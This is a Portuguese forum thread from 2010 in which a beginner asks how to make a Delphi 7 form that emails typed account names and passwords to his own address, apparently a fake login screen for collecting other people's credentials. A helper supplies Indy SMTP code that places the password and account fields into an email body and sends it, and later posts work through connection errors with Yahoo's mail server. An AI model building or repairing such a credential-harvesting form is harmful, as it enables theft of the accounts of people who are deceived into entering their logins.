Duvida

[the frog 0]

Ah eu procurei em todo lugar e sei q estou postando no lugar errado,

mas eu to com uma duvida muito chata.

Eu comecei hoje a mexer no delphi 7 e ja aprendi umas coisinhas e talz,

só que eu queria saber como faço pra enviar por email senhas digitadas no label.

 

Tipo, faço um form com campo para login e senha e 1 button.

dai a pessoa coloca login e senha e clica no button, qnd clicado ele manda a senha e login para o meu email.

 

entendeu? :palm:

 

 

preciso de ajudaaa :fuu::fuu::fuu:

[Dark Skyllen 7]

Não sei se pode colocar links de outros sites

 

Mas por via das dúvidas, esse link pode te ajudar.

 

Clique aqui

 

Se ainda ficarem dúvidas, posso te ajudar.. é só se expressar no tópico, mas garanto que está bem fácil de enteder o tutorial.

[the frog 0]

vlw *-*

vo ver aqui

[Dark Skyllen 7]

Certo, qualquer dúvida é só postar que ajudarei.

[the frog 0]

ta dificil fazer, pois a minha intenção eh muito diferente daquele tutorial,

eu não quero anexar nada e não quero colocar e-mail de alguem para alguem.

 

eu quero saber como faz pra colocar 2 edit 1 de acc e 1 de pass, e 1 button para enviar essa acc e esse pass para meu email!

 

intendeu?

[Dark Skyllen 7]

É só você substituir as funções que estão explícitas lá e colocar em algum button.

 

Siga os passos:

 

4. Um componente IdMessage na palheta Indy Misc e configure as propriedades From|Adress, com o e-mail do remetente e From|Name com o nome do remetente;

5. Um componente IdSMTP na palheta Indy Clients e configura as propriedades Host com o endereço IP ou o DNS do seu servidor de email, por exemplo: smtp.uol.com.br, e as propriedades Password e Username, para se autenticar no servidor, caso necessário;

6. No botão anexar digite o seguinte código:

 

O que ta em negrito é OBRIGATÓRIO, sem isso você não vai conseguir pois o delphi não vai achar o servidor para enviar email, afinal.. ele não tem inteligência artificial correto?

 

Agora no seu botão de enviar, coloque o seguinte código:

 

IdMessage.Recipients.EMailAddresses := seuemail; // Pra quem vai ser enviado

IdMessage.CCList.EMailAddresses := emaildequemenviou; // O email de quem enviou

 

IdMessage.Subject := assunto; // assunto da mensagem

IdMessage.Body := "Pass: "+edtPass.Text+#13+" Senha: "+edtAcc.Text; // a mensagem

Como você quer que a mensagem seja o pass e o acc, mude o nome dos edits para:

 

edtPass

edtAcc

 

Pra funcionar.

 

Agora ainda no button, coloque mais codes:

 

IdSMTP.Connect;

try

IdSMTP.Send(IdMessage);

finally

IdSMTP.Disconnect;

end;

end;

Não testei porquê to sem Delphi aqui, mas se não funcionar me indica o erro que eu vejo o que é.

 

Abraços,

DS

Edited February 9, 2010 by Dark Skyllen

[the frog 0]

coloquei 2 edit invisible, 1 com meu email e 1 com assunto. para não dar erro.

 

dai funciono certinho mas na hora de enviar da esse erro:

 

 

edit: arrumei o erro acima agora ta dando erro de socket error #11004

no site do yahoo fala pra usar ssl

oq eh isso?

Edited February 9, 2010 by the frog

[Dark Skyllen 7]

 

5. Um componente IdSMTP na palheta Indy Clients e configura as propriedades Host com o endereço IP ou o DNS do seu servidor de email, por exemplo: smtp.uol.com.br, e as propriedades Password e Username, para se autenticar no servidor, caso necessário;

 

 

você usa que email?

 

Terra, uol, bol, gmail..?

[the frog 0]

tenho yahoo, bol e hotmail

mas to usando o yahoo!

 

e eu fiz o passo 5 corretamente, inclusive mudei a porta correta.

 

falta aprender a usar ssl soh ;x

Edited February 9, 2010 by the frog

[Dark Skyllen 7]

Na verdade você precisa configurar o componente com o host do email que você usa, no caso o yahoo!.

 

Os endereços do yahoo! são esses:

 

pop.mail.yahoo.com.br

smtp.mail.yahoo.com.br

 

Tente com um dos dois no (tente com o smtp primeiro) em HOST.

Se não funcionar, tente colocar o username e o password.

 

Se ainda sim não funcionar é porquê a yahoo! está rejeitando sua tentativa de conexão, ai pra resolver você tem que ir procurar algo assim no site da yahoo!.

[the frog 0]

vlw, pode fexar tópico!

[the frog 0]

pode fexar tópico!

[Piikachu 0]

Tópico Fexado pq dúvida já foi resolvida.